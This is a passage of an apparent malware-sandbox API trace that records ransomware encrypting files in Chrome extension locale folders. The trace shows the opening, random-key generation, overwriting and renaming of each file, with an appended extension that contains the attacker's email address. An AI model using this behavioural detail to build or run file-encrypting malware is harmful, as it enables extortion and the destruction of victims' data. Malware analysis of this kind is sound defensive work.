Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0178.905] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x287fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.905] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x937e30 Thread: id = 6955 os_tid = 0x1b1c [0175.525] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json")) returned 0x2020 [0175.525] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json", dwFileAttributes=0x20) returned 1 [0178.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1834 [0178.740] GetFileSizeEx (in: hFile=0x1834, lpFileSize=0x3c2f850 | out: lpFileSize=0x3c2f850*=650) returned 1 [0178.740] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x286, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.740] ReadFile (in: hFile=0x1834, lpBuffer=0x3c2f7d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c2f7d0, lpOverlapped=0x0 | out: lpBuffer=0x3c2f7d4*, lpNumberOfBytesRead=0x3c2f7d0*=0x4, lpOverlapped=0x0) returned 1 [0178.741] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.741] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ac8 [0178.741] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909370 [0178.741] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9093e8 [0178.742] NtQuerySystemTime (in: CurrentTime=0x3c2f7b0 | out: CurrentTime=0x3c2f7b0*=132174899533306000) returned 0x0 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x44e91f81 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x374a7c93 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x42982042 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x4e15e163 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0xeb01a95 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x676e5cf [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x6c8234e8 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x1ae99944 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x3b5c632d [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x24a36ed3 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x7db1c81 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0xc033496 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x34087702 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x2a946f5a [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x6c5cad43 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x6e00d498 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x35046db7 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x30b373bc [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x4a5e65c6 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x422391b5 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x231e7e67 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x334e8c42 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x459b5dc2 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x77a2e574 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x5ff5ba3e [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x6803aa34 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x3f5c3548 [0178.742] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x247c5007 [0178.743] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x79e38265 [0178.743] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x7c560e5b [0178.743] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x63dcf24f [0178.743] RtlRandomEx (in: Seed=0x3c2f7bc | out: Seed=0x3c2f7bc) returned 0x448fc018 [0178.756] ReadFile (hFile=0x1834, lpBuffer=0x13329058, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x3c2f7ac, lpOverlapped=0x0) [0178.756] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.756] WriteFile (in: hFile=0x1834, lpBuffer=0x13335860*, nNumberOfBytesToWrite=0x28a, lpNumberOfBytesWritten=0x3c2f7a8, lpOverlapped=0x0 | out: lpBuffer=0x13335860*, lpNumberOfBytesWritten=0x3c2f7a8*=0x28a, lpOverlapped=0x0) returned 1 [0178.890] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e158 [0178.890] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e270 [0178.890] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e270) returned 1 [0178.890] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13335860) returned 1 [0178.890] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13329058) returned 1 [0178.890] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8800) returned 1 [0178.890] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2500) returned 1 [0178.890] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d8530 [0178.890] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.891] WriteFile (in: hFile=0x1834, lpBuffer=0x12cf6670*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x3c2f810, lpOverlapped=0x0 | out: lpBuffer=0x12cf6670*, lpNumberOfBytesWritten=0x3c2f810*=0x10b, lpOverlapped=0x0) returned 1 [0178.906] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6670) returned 1 [0178.906] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8560) returned 1 [0178.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e270) returned 1 [0178.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8530) returned 1 [0178.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e158) returned 1 [0178.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909370) returned 1 [0178.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909410) returned 1 [0178.907] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909438) returned 1 [0178.907] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x8f6e60 [0178.907] wcscpy (in: _Dest=0x8f6e60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" [0178.907] wcscat (in: _Dest=0x8f6e60, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0178.907] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3c2f7c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.907] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x9049d8 Thread: id = 6956 os_tid = 0x1ed4 [0175.532] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json")) returned 0x2020 [0175.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json", dwFileAttributes=0x20) returned 1 [0178.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1688 [0178.757] GetFileSizeEx (in: hFile=0x1688, lpFileSize=0x313f7f4 | out: lpFileSize=0x313f7f4*=789) returned 1 [0178.757] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x311, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.757] ReadFile (in: hFile=0x1688, lpBuffer=0x313f778, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x313f774, lpOverlapped=0x0 | out: lpBuffer=0x313f778*, lpNumberOfBytesRead=0x313f774*=0x4, lpOverlapped=0x0) returned 1 [0178.758] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ac8 [0178.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9093e8 [0178.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909460 [0178.758] NtQuerySystemTime (in: CurrentTime=0x313f754 | out: CurrentTime=0x313f754*=132174899533618000) returned 0x0 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0xfa5fe50 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x1b9338f8 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x6e41fd06 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x514dbb16 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x787b63d9 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x4b6f092a [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x346d9818 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x7e0197fc [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x54cafaae [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x2042c504 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x6dccfaf6 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x7b1a3ff8 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x6a2a6bfa [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x7bcf2a24 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x5cea3062 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x37d17b09 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x48e16ef2 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x176c4909 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x4030f73d [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x471cfc82 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x20db8382 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x1c6cf5 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x9ba5f7c [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x1361dc85 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x3d506efc [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x19cc7b87 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x2f9f5042 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x63c4c914 [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x791f284f [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x85e5bde [0178.759] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x665ce7ca [0178.760] RtlRandomEx (in: Seed=0x313f760 | out: Seed=0x313f760) returned 0x279bc8a8 [0178.773] ReadFile (hFile=0x1688, lpBuffer=0xd4f8870, nNumberOfBytesToRead=0x315, lpNumberOfBytesRead=0x313f750, lpOverlapped=0x0) [0178.773] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.773] WriteFile (in: hFile=0x1688, lpBuffer=0xd505078*, nNumberOfBytesToWrite=0x315, lpNumberOfBytesWritten=0x313f74c, lpOverlapped=0x0 | out: lpBuffer=0xd505078*, lpNumberOfBytesWritten=0x313f74c*=0x315, lpOverlapped=0x0) returned 1 [0179.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a50 [0179.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459d8 [0179.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459d8) returned 1 [0179.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0179.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0179.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9430) returned 1 [0179.142] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 [0179.142] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88f8 [0179.142] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.142] WriteFile (in: hFile=0x1688, lpBuffer=0x12cf6210*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x313f7b4, lpOverlapped=0x0 | out: lpBuffer=0x12cf6210*, lpNumberOfBytesWritten=0x313f7b4*=0x10b, lpOverlapped=0x0) returned 1 [0179.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6210) returned 1 [0179.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0179.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459d8) returned 1 [0179.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0179.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a50) returned 1 [0179.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9093e8) returned 1 [0179.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909488) returned 1 [0179.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094b0) returned 1 [0179.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x909db8 [0179.144] wcscpy (in: _Dest=0x909db8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" [0179.144] wcscat (in: _Dest=0x909db8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0179.144] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x313f76c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0179.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x8f3eb8 Thread: id = 6957 os_tid = 0x1f5c [0175.533] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json")) returned 0x2020 [0175.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json", dwFileAttributes=0x20) returned 1 [0178.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x142c [0178.788] GetFileSizeEx (in: hFile=0x142c, lpFileSize=0x791fd58 | out: lpFileSize=0x791fd58*=720) returned 1 [0178.788] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x2cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.788] ReadFile (in: hFile=0x142c, lpBuffer=0x791fcdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x791fcd8, lpOverlapped=0x0 | out: lpBuffer=0x791fcdc*, lpNumberOfBytesRead=0x791fcd8*=0x4, lpOverlapped=0x0) returned 1 [0178.790] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.790] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ac8 [0178.790] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909460 [0178.790] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9094d8 [0178.790] NtQuerySystemTime (in: CurrentTime=0x791fcb8 | out: CurrentTime=0x791fcb8*=132174899533930000) returned 0x0 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x5f8fe157 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x5ab482e0 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x1f1087df [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x47e22798 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x46362ac2 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x26cc5b19 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x45b048de [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x5d6e1c98 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x2b0c7dbf [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x2d554d34 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x32315ac5 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x1558b105 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x30583203 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x345e2882 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x1f78d350 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x2129f900 [0178.790] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x227d1e8e [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0xb8440ab [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x602632b5 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x5b48a0e9 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x7911ffdd [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x340e91f2 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | out: Seed=0x791fcc4) returned 0x716debc4 [0178.791] RtlRandomEx (in: Seed=0x791fcc4 | 